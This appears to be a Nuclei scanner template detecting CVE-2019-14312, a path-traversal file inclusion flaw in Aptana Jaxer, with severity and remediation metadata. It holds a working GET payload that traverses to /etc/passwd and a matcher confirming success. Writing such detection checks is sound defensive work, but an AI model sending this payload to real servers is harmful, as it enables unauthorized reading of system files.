id: CVE-2019-14312

info:
  name: Aptana Jaxer 1.0.3.4547 - Local File inclusion
  author: daffainfo
  severity: medium
  description: Aptana Jaxer 1.0.3.4547 is vulnerable to local file inclusion in the wikilite source code viewer. An attacker can read internal files on the server via a tools/sourceViewer/index.html?filename=../ URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Upgrade to a patched version of Aptana Jaxer or apply the necessary security patches to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47214
    - http://packetstormsecurity.com/files/153985/Aptana-Jaxer-1.0.3.4547-Local-File-Inclusion.html
    - https://github.com/aptana/Jaxer/commits/master
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14312
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2019-14312
    cwe-id: CWE-22
    epss-score: 0.55645
    epss-percentile: 0.98114
    cpe: cpe:2.3:a:aptana:jaxer:1.0.3.4547:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: aptana
    product: jaxer
  tags: cve2019,cve,lfi,edb,packetstorm,aptana,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tools/sourceViewer/index.html?filename=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b9cc04bf1ee276715850892582f2bc40fcfc3740d56651a3dedfde1d62274e0f022100e5e2e199275eebf9b83d016a64e676570202bd4ea96eef3d087545217d16f331:922c64590222798bb761d5b6d8e72950